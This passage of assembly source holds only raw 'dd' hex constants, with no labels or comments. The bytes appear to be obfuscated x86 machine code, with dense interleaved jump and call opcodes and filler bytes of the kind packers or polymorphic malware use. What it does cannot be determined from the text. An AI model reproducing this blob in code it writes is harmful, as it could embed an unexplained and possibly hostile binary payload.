0BDBF6600h, 5957F81Bh dd 0C477B866h, 89D98166h, 0C9B70F39h, 0BE95750h, 0F6000000h dd 31C0EB71h, 0D0037725h, 5858261Fh, 38B0Fh, 0BF0F0000h dd 6E9F2h, 0B8CD0000h, 53755C4Eh, 683232BFh, 0E4EA8107h dd 8A0723F4h, 5756B3D3h, 0F51B35Bh, 89h, 0AE96000h, 41000000h dd 6DBC213Eh, 0F4E52270h, 76ADB98Fh, 666123D2h, 11CBD981h dd 0DE9h, 0C2050E00h, 89315C2Ah, 0E9BBADC6h, 7E91485h dd 0C8000000h, 0A1769463h, 11E88FD6h, 0F1000000h, 0CCE47AD3h dd 6AFE421Fh, 980A467h, 3792C7B5h, 8B5AC28Ah, 5FFC51C3h dd 6820Fh, 0E9810000h, 542A1463h, 0CBBF0F60h, 840Fh, 0F610000h dd 0A8Fh, 5E900h, 0BD6C0000h, 0E9045A9Fh, 0Ch, 74B40530h dd 699149EDh, 2E687471h, 66FE8B66h, 4DB8DE81h, 925DB9F9h dd 9E973E3h, 92000000h, 30BB0EB6h, 8CCCA319h, 5C14D281h dd 0F18A0C33h, 39D68166h, 0BF6656CFh, 0F5B5551h, 288h dd 0F536B200h, 18B0FF5h, 0F8000000h, 5810Fh, 81660000h dd 0E9A654E8h, 13h, 0DF0CC76Fh, 0ED4D2748h, 0E9CFDD88h dd 2903DE61h, 609A33ABh, 6860Fh, 8D0F0000h, 0 dd 0F1F58060h, 61C88B66h, 0CFB1F561h, 18C0F60h, 0F9000000h dd 0EE86061h, 29000000h, 69C59DB1h, 46807B6Dh, 1B65EA77h dd 29D6B827h, 61586ED0h, 6E9h, 0DE090B00h, 66F8B33Bh, 4C48C181h dd 10C9BFBAh, 800FF56Bh, 3, 66DAB70Fh, 81B4B0BBh, 9D0444DFh dd 0EE824h, 5B0000h, 0F0C91B17h, 0B6F82430h, 7AD692D4h dd 58CBB70Fh, 0F8CB8B66h, 10E8h, 92881C00h, 0D49D6662h dd 0E15EED33h, 0D794C217h, 0AD82B8F5h, 0F5A36ECh, 0D8Ah dd 8E900h, 0FFF80000h, 23E896C8h, 5056D9DFh, 49C08166h dd 0F5A5EF8h, 0BB66D2BFh, 12B87C5Eh, 803040D9h, 14E834F6h dd 47000000h, 925069DEh, 3FEA119Ah, 7118D484h, 0FC345675h dd 0F7B9719h, 580h, 925ABB00h, 8B5B0A2Bh, 14E8C7h, 1E380000h dd 34356E2Fh, 5FEB0615h, 79B4B803h, 0C8134DC5h, 0F60F9AAh dd 89h, 0E85B6100h, 0Bh, 0EC0A6EEAh, 6157FEF9h, 5960457Ch dd 10E9F38Bh, 9F000000h, 99314C08h, 0E877A46Ch, 0AFB9460Ah dd 6674D5C0h, 0BE51FE8Bh, 619D1CB9h, 12E95Eh, 0EDF90000h dd 0FA95B9BCh, 44483605h, 0B6BA3464h, 2E5AE966h, 10E9h dd 65DAE100h, 535FBBCBh, 6331D63Bh, 8733868Fh, 0C88B66ABh dd 644E12BBh, 0DB816662h, 0C0B64A0Fh, 2E1BB866h, 0EFB86650h dd 0FE9583Ah, 32000000h, 39585B51h, 7CF7F148h, 327B8703h dd 5E9FFE8h, 4D000000h, 1F8D7140h, 6860F50h, 0F000000h dd 8Dh, 0CE95900h, 3E000000h, 0F4CF924Fh, 982A6629h, 53242229h dd 6E9h, 534C2200h, 5A168316h, 0D1BA6660h, 61F18A27h, 0D1DB8166h dd 0C0BF0F4Fh, 0FFE8B66h, 582h, 0E2816600h, 0FC604C05h dd 8C72BA66h, 21F08061h, 0BE9h, 1305300h, 0EE524D4Ah, 64BA9230h dd 0FE8h, 0CFD3B400h, 8794328Fh, 931FA372h, 3588B510h dd 0E85ED88Ah, 12h, 3A683004h, 4A5E5454h, 0CAEC4D14h, 0CAE7C998h dd 0BE665C01h, 0F5A7DC8h, 0BA66C7B7h, 0BA50BA6Eh, 0DF805C3h dd 0E9D88B5Bh, 10h, 6B5CA403h, 3A32EDBFh, 2AAFC356h, 6D763887h dd 58E08166h, 14E954h, 0A0BD0000h, 7D81ABE7h, 0D3E7569h dd 50DF2465h, 0DFD7AE48h, 0DE9882Dh, 0D000000h, 3F2AF7FFh dd 0F87AEFC4h, 109B9ABCh, 0FD98B66h, 8166FFB7h, 81A48FDAh dd 17783DD6h, 0FA8B664Ch, 8B6637B7h, 11E9F2h, 75AA0000h dd 5F754031h, 0A43E7AADh, 473DEE69h, 6648A2FCh, 0E9D7D4BEh dd 0Eh, 20FC8D7Ch, 2C30881Ah, 584D4805h, 810FAB6Bh, 6 dd 1EF1CA81h, 0F507600h, 0F5BD3B7h, 8B66CAB7h, 14E8FEh dd 6E5B0000h, 2BE079A9h, 7BFAAB2Ah, 0C10EDCE7h, 24ABDCF2h dd 665EA0D5h, 0EE8C18Bh, 2B000000h, 18ACB4BDh, 0A44A8ED9h dd 7FD81845h, 28E0FDBh, 8B000000h, 0F6BE5BF3h, 5075DEABh dd 5870Fh, 53B90000h, 5F6E29CCh, 0CE8h, 6313EE00h, 96D64631h dd 4C63807Eh, 0CA816682h, 0F59D9D3h, 181h, 4FB3F500h, 0B70F38B3h dd 0FD78BF1h, 0E880D1B7h, 11E8E5h, 6020000h, 4118C4DAh dd 8E37490Bh, 0A4DF258h, 5EAD3F09h, 2820Fh, 0DE8B0000h dd 9E9h, 0BADA3400h, 0F08DC89Ch, 8B52E634h, 816058FBh dd 7C6718C2h, 7E94Eh, 77310000h, 0D9C197EFh, 8C0F61B5h dd 3, 0E9DFB70Fh, 0Dh, 254CBCCAh, 0EA7B9F24h, 70028E81h dd 0C28B6641h, 0F9FA8B66h, 810Fh, 8F0F0000h, 5, 0B5D68166h dd 0E92BB70Dh, 11h, 0F30A0FCEh, 0C62914F6h, 47BAC7CDh dd 128D62A3h, 0AE9F8C6h, 0F8000000h, 3D07F3D1h, 0A9A7CDA6h dd 0CE8B6650h, 8A0Fh, 66F50000h, 3364DF81h, 0BF0F73B1h dd 569DB8F1h, 0F6BE7FD8h, 0E86B3637h, 0Eh, 0B2779E32h dd 3B6BC8DAh, 2D33948Eh, 6057E894h, 0BA5E5B61h, 66DE314Dh dd 2C9BF7BBh, 0CABE6667h, 50C3813Fh, 815B26C1h, 86000ED1h dd 6E914h, 0D53F0000h, 26C1FAC9h, 3F5FD781h, 0BA6662C2h dd 0E960E01Ch, 0Dh, 50C17CFDh, 399FB2FAh, 3660F7B5h, 2E40BFBDh dd 0F610411h, 588h, 0D3816600h, 8E9F12Ah, 72000000h, 659D1137h dd 0E8500FF4h, 7, 0B904F4BCh, 0E99DA60Dh, 0Fh, 0F819C7F2h dd 5CEA5CD5h, 4AC343F1h, 5B763347h, 0DE8h, 150C0500h, 84161AAEh dd 1819A7BDh, 8166D27Ch, 589930CEh, 168C0Fh, 0DE80000h dd 0DC000000h, 72AB6249h, 0E35EDFh, 0EC2AF2CFh, 59FAB70Fh dd 0A023B966h, 0FE8C28Bh, 0D7000000h, 0EA7C90FBh, 53B3847Ch dd 0FC76B90Fh, 0B25FCDC3h, 10E9BBh, 0F7000000h, 57F87BC5h dd 985B91ABh, 0FBFA2B50h, 8166D495h, 0FC54BE8h, 0C80h dd 5E95300h, 0B1000000h, 0BCEC1FD6h, 1B850F58h, 0F000000h dd 158Eh, 0FE800h, 89370000h, 919B619Ch, 55FFBBABh, 0E169E1F8h dd 0BF665FA8h, 0B70FD589h, 0CF8B66DFh, 14E9h, 0D6FC400h dd 10BDAF8Ch, 2ED978BFh, 3E994327h, 0CE2D9DC9h, 0DDCA802Eh dd 68C0Fh, 890F0000h, 0 dd 60FEBF0Fh, 0E1816652h, 8A5826C3h, 5E961C2h, 0A2000000h dd 6505C374h, 57F88B66h, 0A62616BAh, 66575807h, 0BE5BD78Bh dd 16D27EEBh, 0F5AF857h, 0C880D7BFh, 0C2BF0F3Bh, 7D38B8BBh dd 10890F42h, 0E9000000h, 0Bh, 676DDD46h, 754C6C61h, 8B1694C3h dd 3830FFAh, 0F000000h, 12E8F7B7h, 26000000h, 274238Fh dd 8B27E64Eh, 0EEF8AC14h, 0EE00BC5Eh, 12E976h, 6B6E0000h dd 58164671h, 0AC76E9AAh, 71E17062h, 3344F57Ch, 3DF28159h dd 0E90D25CBh, 0Fh, 0B479E519h, 82E01A88h, 0A5B0F550h dd 0F53B38F2h, 13E9h, 17BEFE00h, 99F6AEB9h, 9CF85A6Bh dd 1EAC7286h, 172320BBh, 0C840FF8h, 0F000000h, 689h, 0CDEA8100h dd 0E9594190h, 11h, 9E521DAFh, 0BE5A9917h, 2012AF5Bh, 0F4904350h dd 80BA6688h, 0B70F50A0h, 0DE958FEh, 0E3000000h, 0B096C05Ah dd 0B150DE9Ch, 0CD887D86h, 9E8h, 4A8DAA00h, 3F67CBE1h dd 0BF0F78FBh, 0C38159FFh, 1FA3659Ch, 10E960h, 0CD590000h dd 0ABB1AF10h, 0C5923D1Bh, 50D648E8h, 0B9665AF9h, 0E8619B7Eh dd 0Ah, 76D8A93Fh, 0BB68F7CDh, 5AFC911Ah, 0DE8h, 0FA5C0500h dd 96802BE6h, 0F1D0F570h, 8B66706Fh, 0D68159CEh, 30123447h dd 56CDF381h, 0D98046A3h, 480DBE18h, 0BF0F0A5Bh, 8AD88BCFh dd 0D68166EAh, 0BF0FD49Dh, 6EF81DBh, 0E935FFFEh, 8, 62BCA0ECh dd 1AE1EB60h, 0FFA8B66h, 810FC9B7h, 3, 0E8CFBF0Fh, 0Bh dd 26C0CA44h, 0D114FE64h, 663AB217h, 8058F98Bh, 1DB8F2F7h dd 8160F38Eh, 0EE8FDD7h, 11E96Fh, 0DF570000h, 7FEDFAADh dd 279D4BC6h, 339AE408h, 0F71F3DBh, 587h, 62BABB00h, 806000BBh dd 0F48A73F7h, 0DAC18061h, 71D78060h, 87EB8153h, 5E61122Bh dd 0C1B70F61h, 0CE8DF8Bh, 77000000h, 0ECC34DF5h, 441BA4E0h dd 0FBFF389h, 28Ch, 5ED38B00h, 81665F56h, 0F7FE6F1h, 8B66F0BFh dd 816660FEh, 8BEE16DEh, 82B161F0h, 11E9h, 6B6C0600h, 0E519CA6Fh dd 1A88B479h, 0F55082E0h, 0CE8A5B0h, 27000000h, 76FEB642h dd 877A4C9Bh, 0F598FF48h, 7E958h, 579E0000h, 9E1C7181h dd 0EE939h, 0C6AE0000h, 93BCBFB4h, 9B6E3DFFh, 0DBA4A084h dd 870B43BFh, 1E68140h, 0F975941Ah, 8024B7FCh, 0E38059F1h dd 5FBEF86Eh, 662ED050h, 0DE8AD98Bh, 0AFF18166h, 58F0F0Dh dd 66000000h, 9E07CE81h, 18E180F9h, 8E860h, 42E10000h dd 0C3AF32A0h, 870F0196h, 0 dd 6657615Fh, 0C1FAE081h, 0C0816658h, 5A56CF53h, 5840Fh dd 84BA0000h, 5332DEBEh, 5E8h, 341D7100h, 8B66C53Dh, 0FC5B5AC2h dd 0FCB8B66h, 483h, 69BB6600h, 7E95283h, 0D7000000h, 0AD8EB2A3h dd 605AD433h, 0FEECBA60h, 0D98B51D7h, 5E961h, 0A3550000h dd 61F9DC28h, 0C8F08166h, 0CDD5801Ch, 0A29ACA81h, 66602C85h dd 4A79E181h, 9714B966h, 6E961h, 3F4F0000h, 904B9B53h dd 11E960h, 37520000h, 1E2B24F1h, 0E6B0E0F8h, 3F103D61h dd 8B86B72Ah, 0FC5761C1h, 0C195BA5Ah, 8B665674h, 35CEB8C7h dd 13E820DAh, 0E1000000h, 96E7E567h, 0E6402C5Dh, 15E65CB1h dd 7EF2BBC0h, 0B70F7CC4h, 0DE95FF2h, 7B000000h, 95AAEC2Dh dd 0C0DEF6Dh, 0BEC0F29Dh, 4820Fh, 0B8660000h, 7CB8DE87h dd 0B54FFCB1h, 0E8D98168h, 57009EB9h, 38F0Fh, 8B660000h dd 0D5805EC3h, 14E93Dh, 30950000h, 12647A53h, 2A61FD17h dd 0C0ECA379h, 0F970EA68h, 8E8CB3Ah, 0A3000000h, 0AB9AAC8Eh dd 52FF270Ah, 850Fh, 595F0000h, 1B800Fh, 10E80000h, 47000000h dd 8B536F2Ah, 8AC4450h, 2A0B0CF3h, 6680C98Bh, 0AE63C281h dd 0EA81665Fh, 810FBFEFh, 4, 0E48EBB66h, 7B19E2B9h, 77B76004h dd 0AE9h, 91079700h, 5AB9ABFFh, 61AE06DEh, 0DE9h, 3B7C4F00h dd 4965D0C9h, 0DA1FD499h, 880F69B3h, 5, 63C78166h, 0C1B70F50h dd 10E9h, 234DD500h, 717F0EB2h, 34DAD632h, 0E49D3600h dd 0F58060D9h, 816660A7h, 0FC6577EBh, 92B86161h, 0E971B5DDh dd 9, 0AAC5C48Dh, 6196E3B4h, 0DEB70F0Dh, 9800Fh, 8C0F0000h dd 3, 0F19E880h, 282h, 0F80AB600h, 0F080C28Bh, 0A2BB666Fh dd 0FD88A5Eh, 382h, 5FDA8000h, 0B8B33CB9h, 60566026h, 870F5861h dd 5, 6F2A94BAh, 0B966610Ah, 16BB0DDAh, 666AE0F6h, 0DBC4E881h dd 58B0Fh, 81660000h, 66B465E7h, 14E9C68Bh, 1A000000h dd 9B4A9FEDh, 5B204320h, 8499279h, 0CE06FEC6h, 0E87C3611h dd 9, 0BA0D85C8h, 2A4D92F5h, 0EE81663Dh, 0B7588487h, 0FFD48093h dd 39E8F281h, 0AE82851h, 0D1000000h, 6BAF6AF6h, 83F32DE0h dd 59D38A5Dh, 810Fh, 0FE90000h, 8D000000h, 67CBE14Ah, 0E578FB3Fh dd 0EBF3652h, 0D281CA62h, 5CB0FD94h, 7E952h, 0FC3F0000h dd 2CB086FAh, 0F515A85h, 0F5AFBBFh, 687h, 800F00h, 0F000000h dd 278Ah, 0DE86000h, 84000000h, 0C421B6CFh, 0CEE992D9h dd 0A121DD32h, 0DE95Eh, 0CCA0000h, 0FB044ED0h, 0EE84894Fh dd 61C64472h, 38D0Fh, 0CE800000h, 0AE904h, 0C7970000h dd 0FE9D60A4h, 53B0B313h, 10E9h, 0C7DD1000h, 0C94F3B0Ah dd 44E1ED7Ch, 0D6B7FAEFh, 0B3DE8BD5h, 661EB487h, 0B19CB3B8h dd 0F5F88BB1h, 50E0EA80h, 0DCE7805Ah, 8E9DBB0h, 2A000000h dd 776F243h, 66E37B86h, 0E8110DBAh, 8, 59F744A9h, 74EEAE61h dd 0B2A024BBh, 76B45F2Bh, 5CC78166h, 6614B4CAh, 60CA92BFh dd 0F755BA66h, 0C096BF66h, 0BE86061h, 0A7000000h, 229DFC98h dd 15DBBD90h, 0DA81D363h, 30329DD0h, 9A93B958h, 0F613949h dd 1988h, 12E96000h, 55000000h, 7BED3Eh, 6E91F477h, 77A285C7h dd 23F8A7A6h, 7FB9616Fh, 0E97B2924h, 9, 862942Fh, 751E1ED9h dd 8152F94Dh, 0DC0EAFC0h, 0C0815F71h, 44B131B9h, 0C08166FCh dd 0E951920Eh, 8, 73830906h, 0A2F699CBh, 1A8A0F59h, 60000000h dd 10E8h, 5467DA00h, 4E331F03h, 0F45940A5h, 4E3F5443h dd 61605EF9h, 0FF86061h, 281h, 61C68B00h, 19830Fh, 0E8520000h dd 11h, 92422B98h, 38D464E4h, 6493F3BDh, 0DC32C795h, 0F5859EBh dd 18Fh, 0E5BEFC00h, 0E81E5C02h, 9, 142F24B5h, 0BF8BF90h dd 2EEF81B6h, 58789F7Bh, 0CE8h, 4FDA1300h, 0CFC41F7Eh dd 49D7C8F6h, 3840F1Bh, 66000000h, 0E85FD78Bh, 0Eh, 0B3062DC5h dd 0F1BC65D5h, 0D56564A3h, 3DB1ED87h, 0F0B70F59h, 0BE8F8h dd 7CB10000h, 0E8CA5CB5h, 0C3DBE3E7h, 59D08B62h, 0A8D0Fh dd 5E90000h, 39000000h, 0BB053120h, 8192C580h, 887633F0h dd 9E972h, 0B2D90000h, 9D6F14BCh, 6643DB63h, 0B964B5B9h dd 0FB5CA23h, 0FC1B70Fh, 8F0FF0B7h, 1, 0BE66F5F8h, 8E0F01C0h dd 7, 0CA816651h, 0F5F62F0h, 6651FAB7h, 8B5BC28Bh, 0AFCB81F2h dd 0F83537ECh, 0BF0FCB8Ah, 0C88B66CBh, 5850Fh, 81660000h dd 50BD39DEh, 89D9BB66h, 13E958h, 0D8E50000h, 2060B142h dd 1D987E5Eh, 1B998695h, 49E75E3Bh, 0E5CCB80Bh, 0BBF83999h dd 4BD3FD3Bh, 0EE9h, 92254A00h, 8DB2705Dh, 8C89C762h, 0F794F6Bh dd 8Eh, 0BE1EB200h, 1C95AE87h, 14E9F9F9h, 64000000h, 0A3713E91h dd 12F757E4h, 98CC4F18h, 0E492422Bh, 0FC38D464h, 5E8h dd 0CDAA5400h, 5E9F9E3h, 0B9000000h, 6410DC31h, 0E6BF665Fh dd 0BBD78AAEh, 4E6D2802h, 7E8h, 77093200h, 7332FC37h, 5D12CF81h dd 0E95A3BE7h, 10h, 9A727CB8h, 13EEC771h, 0D6463163h, 63807E96h dd 13E9h, 0B5774700h, 52DA5C65h, 632CE645h, 2CAD3158h dd 4D64CB70h, 0E96057FCh, 0Dh, 6B6AAABBh, 0C8D0361Dh, 59070F61h dd 800F91h, 61000000h, 9FB6605Ah, 0F7816650h, 6159ABDAh dd 91FCC081h, 80607F9Ah, 0C18B1FC7h, 0CE861h, 2A30000h dd 6B523873h, 44F8F265h, 0B70F6194h, 11E95FDFh, 55000000h dd 0BE280F7h, 0B3E57BB0h, 603A8CE2h, 71ACFBD3h, 31E1C981h dd 9DB03EF7h, 81BFC080h, 65DB0EC1h, 0DEC88052h, 0F9BE66F9h dd 0FE832h, 4BD70000h, 6DB7177Ch, 87983809h, 0DD14DA36h dd 0DE9E3h, 94DE0000h, 8D0BE5C3h, 6C85B121h, 59FBBDF0h dd 5E8D08Bh, 0FF000000h, 399CC110h, 7E9h, 0A54D000h, 0D1C3600Ah dd 0FE95Bh, 2E00000h, 589C2A82h, 797BA4C0h, 91DAF572h dd 0FBB70F54h, 12E8h, 2A0F200h, 0B2E211C2h, 0FF1B9D17h dd 488F45F5h, 5E4F7DF7h, 0AE9h, 0F331C600h, 65D7C4E7h dd 60CF65A6h, 80DBE66h, 61C7B70Fh, 80CA8B66h, 8D0F26C0h dd 1, 97BA66F9h, 14E971h, 0ED440000h, 2F3DC619h, 0F9A1857h dd 38DCD926h, 0FBE44775h, 11E95A6Fh, 4B000000h, 58DBBA33h dd 25079B9h, 630DA492h, 5011C08Bh, 0BEF88B66h, 48496FB2h dd 66F38B66h, 0C22FF681h, 8A33DA80h, 0DE852E5h, 24000000h dd 4E2D1D60h, 931BB17Fh, 0BDC99E2Ch, 80ABB866h, 0AE9595Bh dd 0E8000000h, 1132BAF8h, 60CA64B2h, 5360F883h, 0F5E6160h dd 688h, 13EE8100h, 614ED809h, 7E8DE8Bh, 42000000h, 0B9931663h dd 0EB42E32h, 0D88B665Fh, 880Fh, 0BF0F0000h, 0E98166D1h dd 6E98B12h, 15000000h, 38198781h, 0DF8B5788h, 0AABB6659h dd 17890F84h, 0E9000000h, 12h, 65609CD2h, 0A62CE19h, 7775E848h dd 0F3C49353h, 8A0F1388h, 1, 4BB866FCh, 0F605712h, 8Ah dd 1274BA00h, 5B616643h, 0C88BFC8Ah, 57D38166h, 0BF66FC96h dd 0BF66999Fh, 6E83A54h, 44000000h, 36BD8D6Fh, 9E930h dd 8A490000h, 845BDD3Ch, 5E894CE0h, 14E960h, 0A77D0000h dd 0A9C47159h, 835EAE7h, 580D03E2h, 8B79822Bh dd 0F617CF6h, 84h, 0AD19BA00h, 880F0BF1h, 0 dd 44F38166h, 0F08AF9A0h, 0BF0F5E50h, 7E9FAh, 34E50000h dd 0FD125AC5h, 5DDBBCEh, 8E0F4BBAh, 6, 0C7D6E881h, 66F974A4h dd 0E781CA8Bh, 2FC1745Eh, 28F0Fh, 5F510000h, 0B7D0BF0Fh dd 0D88B6040h, 6850Fh, 800F0000h, 0 dd 13E961h, 824F0000h, 6965B035h, 8C4520CDh, 566057E7h dd 93286029h, 51B0B24Bh, 28C0Fh, 5F530000h, 5E95Eh, 7D0E0000h dd 0B3A393C0h, 3BBB6025h, 8A4641BFh, 84BB61C8h, 666FB97Ah dd 0F834CA81h, 0B014BA66h, 9CEE8166h, 0F1816689h, 8B66B91Ch dd 7840FF0h, 0F000000h, 187h, 8B66FC00h, 0A06BBCAh, 0BB6652C7h dd 0BB66C422h, 58501B5Bh, 0B880Fh, 0F600000h, 0CE81CABFh dd 586D2EEAh, 6E861h, 0A0470000h, 7FD36481h, 5870Fh, 81660000h dd 5B99A6E0h, 0C850Fh, 7E90000h, 0A3000000h, 2EBAFC7Fh dd 666005C2h, 0AA6AC881h, 0AE9h, 98ABC000h, 2DD2E4C0h dd 612B82DDh, 0AE9h, 83871B00h, 13C19111h, 0BBF7D39Ch dd 45F8AE10h, 66C8B70Fh, 0E9B740BEh, 14h, 1473BE42h, 89E48D74h dd 31A3D53h, 0B935A505h, 4180ACFCh, 0F5A0B966h, 0CE950h dd 27BA0000h, 0D87DD66Fh, 0DE86C0EAh, 0E958959Ah, 0Eh dd 0F791CFF5h, 4BE4979Ch, 0D3DE31CBh, 0F60C7D9h, 388h dd 0CDC88000h, 0E2816661h, 0FB8B47E3h, 0E8D98B60h, 8, 0CAB4F3B0h dd 42704D50h, 615BFCB1h, 0FE951h, 0C3CD0000h, 4376166Ch dd 0BF017F5Eh, 3E7CA423h, 8C0F59B6h, 5, 4F5DCBEh, 0AE8FC3Bh dd 0A1000000h, 0FE73485Bh, 74DE9829h, 14E99Fh, 11970000h dd 0AE5C797Dh, 2AE9D643h, 0A23F58B1h, 5A10D239h, 66582D7Fh dd 0F5361BB9h, 850FFDB1h, 5, 0E6D78166h, 8B66603Dh, 0AE9DFh dd 0A66B0000h, 70F51053h, 988E779Ah, 0BE95361h, 0D2000000h dd 0DD1CA97h, 3C49CECEh, 815E020Ah, 6DC01E2h, 14A2BB4Ah dd 0F5052F6h, 28Ch, 5FAAB500h, 0EAE98166h, 880F84h, 0F8000000h dd 11E8h, 5A156000h, 7AF51282h, 180226B6h, 0A3EDD65Fh dd 0BA667740h, 815AFFF3h, 0E3A25FF3h, 0BA66F96Bh, 0CF81CFC9h dd 4195616Dh, 884F081h, 5060725Dh, 505B6160h, 61596160h dd 0EE96AB3h, 0F1000000h, 41C449A6h, 6B8553Fh, 0FBDE4950h dd 8E8F989h, 0FE000000h, 74DE9829h, 5AAC8B9Fh, 0BFDA8166h dd 0F860606Ah, 3820F61h, 0F000000h, 0F61D1B7h, 2786h, 14E800h dd 6CDD0000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh, 0BA8E8909h dd 8E9E468h, 1C000000h, 6096B030h, 5BFCC79Fh, 8E9h, 837FD000h dd 2FEFDF49h, 2AEE80E9h, 8E9h, 0BA29C000h, 0A7086049h dd 9E8BAh, 65790000h, 9215E8E8h, 66B9CFADh, 5A429BBEh dd 0C870Fh, 850F0000h, 6, 8C0Fh, 0CB800000h, 0CB8B66BAh dd 0B8B8CB8Bh, 8121DF5Fh, 317DB0E1h, 0F85F5031h, 0FD4C180h dd 0C781F3BFh, 3AEF0E5Dh, 601EB160h, 12E9h, 248D3400h dd 1A9F7D47h, 9B4A9FEDh, 5B204320h, 66499279h, 0FEB2F281h dd 0BB666161h, 0CE9C391h, 52000000h, 658F98B0h, 48C6EAAEh dd 0E9DCE0F4h, 13h, 0FAC1C6B5h, 24949989h, 7A1668ACh, 41E12049h dd 66B88632h, 0B9DCEF81h, 14870Fh, 860F0000h, 0Eh, 9E9h dd 6DE36100h, 9240181Dh, 0E85232EAh, 14h, 9AF4AA85h, 54839CE3h dd 15D734FFh, 380AB2C7h, 6C114463h, 0B1D2D981h, 585F4933h dd 8E0FE0B4h, 2, 6E9CE8Bh, 64000000h, 9868AE53h, 20800FD7h dd 60000000h, 5E9h, 0C443000h, 0FE9720Ah, 9C000000h, 5FF3A918h dd 0FBBCE79Bh, 9D788C7h, 6661C422h, 0B36397BFh, 8B66FC39h dd 0D28166CBh, 0F560AEDh, 689h, 840F00h, 5B000000h, 0F2B70F56h dd 8D0F535Fh, 3, 5FD68B66h, 42CFB866h, 0BE86056h, 2C000000h dd 325CBDC3h, 0DD0B1593h, 0F95B33C0h, 0DC8A5B61h, 13E8h dd 7E316B00h, 44386589h, 0A0690E54h, 7D014D13h, 918307E9h dd 59D88B66h, 93D98166h, 2840F2Bh, 0B5000000h, 73B8667Fh dd 50D88BC2h, 0B3CB8B60h, 8B5A617Dh, 0F6C781F3h, 66706CD7h dd 10E9F88Bh, 0B5000000h, 749EF1B1h, 7011E0DFh, 4AB55AA6h dd 0E997EA39h, 10h, 0F770C889h, 7C69335h, 3818A5D6h, 3DE78201h dd 0CE8F5h, 3F3E0000h, 4720BF88h, 5E569F69h, 0F78ABAD4h dd 0D2B70F58h, 0A02EBBh, 0DA816660h, 18BE2DEFh, 662897A5h dd 0E91180BEh, 11h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 8329CB63h dd 8B66F953h, 0C98166F8h, 0D78B7CA4h, 0F96EB966h, 1AADCA81h dd 0CB814028h, 14FFC26Ch, 5CD88166h, 0DF8B6036h, 0F5061F8h dd 183h, 0E858F800h, 12h, 6CD95650h, 5C87CEE4h, 8040B67Ch dd 8F5D0B95h, 0C1815850h, 34937B2Ch, 81E7815Ah, 0F24AD71h dd 583h, 0C0816600h, 5F564F88h, 3860F60h, 66000000h, 8C0FCF8Bh dd 0 dd 97E08161h, 801A8FC0h, 0CE9D6CBh, 0F3000000h, 0AED9F8DDh dd 0BD9F56h, 81C2D319h, 9A5908E6h, 0E0D9B925h, 0D380456Fh dd 56F38106h, 0F34701Fh, 684h, 9CCB8100h, 664E9785h, 8E0FDF8Bh dd 1Eh, 188A0Fh, 12E80000h, 9F000000h, 43209B4Ah, 92795B20h dd 0FEC60849h, 3611CE06h, 7E8597Ch, 0BA000000h, 7E44EAF4h dd 805FDA26h, 0B866BACFh, 8A0F0C83h, 0 dd 12E856h, 91210000h, 0C497EF1h, 0D23C3199h, 0C6B08035h dd 0F92816D6h, 8E8h, 0C3FB4800h, 2034BA42h, 5A5858A2h dd 27EDBB66h, 7BE98166h, 0BECF8BB8h, 6776E2C1h, 19BDBA66h dd 81F7BF0Fh, 4188F9D0h, 0E852B47Dh, 14h, 0A557D236h, 0A6F2134Fh dd 0CE97F6F4h, 3EC430D0h, 35F8F9CEh, 515FCB8Bh, 810F60h dd 60000000h, 0B15A6161h, 70DE8111h, 605DAAA1h, 10E960h dd 0DD1B0000h, 0D0536650h, 0AEB82D8Fh, 4BE88E07h, 5852D52Fh dd 0D68B5161h, 3CB8615Fh, 0F0FE821h, 0B960C8BFh, 2C49570Ah dd 0A936B966h, 8E961h, 2F9D0000h, 5B8DF5B7h, 66F9CE94h dd 71A4F781h, 3860Fh, 8B660000h, 8F0FFCF2h, 2, 800F4EB4h dd 3, 6040E780h, 0D4EC681h, 0F613F8Ch, 8B66DEBFh, 0CED681CFh dd 0E94A9D2Dh, 7, 0DCACF80Ah, 0F93EA5Dh, 986h, 78BF6000h dd 0B52F2F46h, 0F8506135h, 64CF8159h, 0E95F75ABh, 0Dh dd 2371DF2h, 55AA2C3Fh, 0CAD91C5h, 58D0F3Dh, 0BA000000h dd 7109E004h, 0DCAAF081h, 0FA8B5384h, 0BDC88166h, 6E8D2h dd 9290000h, 0F1E5E19Ch, 0FE85Bh, 8CA70000h, 48C203C9h dd 0CB0BFB50h, 95C9A671h, 5FDF8B8Ah, 8820Fh, 66600000h dd 0B437EEB9h, 12E9616Ch, 0CC000000h, 77383EA6h, 9ED7179Ch dd 0ADC9AE82h, 0C29B5CB4h, 11E870h, 21FC0000h, 0C0EC192h dd 2C355654h, 468F23D8h, 0FC68CB94h, 0F575059h, 83h, 665B5B00h dd 81B94AB8h, 8BBF8EF6h, 0F1BF0F5Bh, 0E9C88B66h, 0Ah, 19C7F25Ah dd 0EA5CD5F8h, 0FE8F15Ch, 48000000h, 0BFBACFD8h, 89021162h dd 0AE9646F1h, 8B608995h, 0C18166D1h, 5861BEE2h, 0AA6DF681h dd 8B663F74h, 0BE9F8C7h, 91000000h, 213C4ED8h, 24D7A52h dd 10E9666Dh, 9C000000h, 4062DC1Bh, 0F1AEBA7Ch, 0BE0997Dh dd 0FF59ABEh, 1484h, 8E800h, 0E63B0000h, 6C15ACAh, 0E98182DFh dd 1F08DDB7h, 8166F95Fh, 668488DAh, 66C3C881h, 0E9DEBF0Fh dd 14h, 650AB18Ch, 4ED9587Bh, 0C91D2473h, 1B0DCCB2h, 0B7B7910Fh dd 14E9h, 0CDB45C00h, 4CEEF6BDh, 94DF88DFh, 0A1129692h dd 6236DF1Ah, 81D681E2h, 0F673149h, 88Fh, 2850F00h, 60000000h dd 12E961h, 8D020000h, 4CF3C8B2h, 1B05D1B2h, 91118387h dd 0D39C13C1h, 44A3F381h, 0F604240h, 58Ah, 157FBB00h, 0D98A6F1Bh dd 0B5BE6661h, 0BF0F6082h, 6800FD2h, 81000000h, 63CE71CBh dd 0FF86151h, 8Ch, 8A0F5200h, 6, 8D0Fh, 0E9580000h, 14h dd 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh, 0D4A839F8h dd 8166D6B0h, 0F98EEF1h, 58Ch, 0EF816600h, 0D281FD27h dd 2E17D370h, 0CE8h, 3722700h, 8F515E1Dh, 0A14728A4h, 0BE835h dd 78CF0000h, 0B6243649h, 0F89CCA58h, 605A5E7Eh, 0E961DF8Bh dd 0Ch, 1042712Fh, 4A351AAh, 72845DBEh, 0D18B6650h, 0E881665Fh dd 0BF0FE657h, 88A0FC1h, 53000000h, 0E12C181h, 0B8591D8Ah dd 229D1611h, 6B8DEB2h, 0F855F087h, 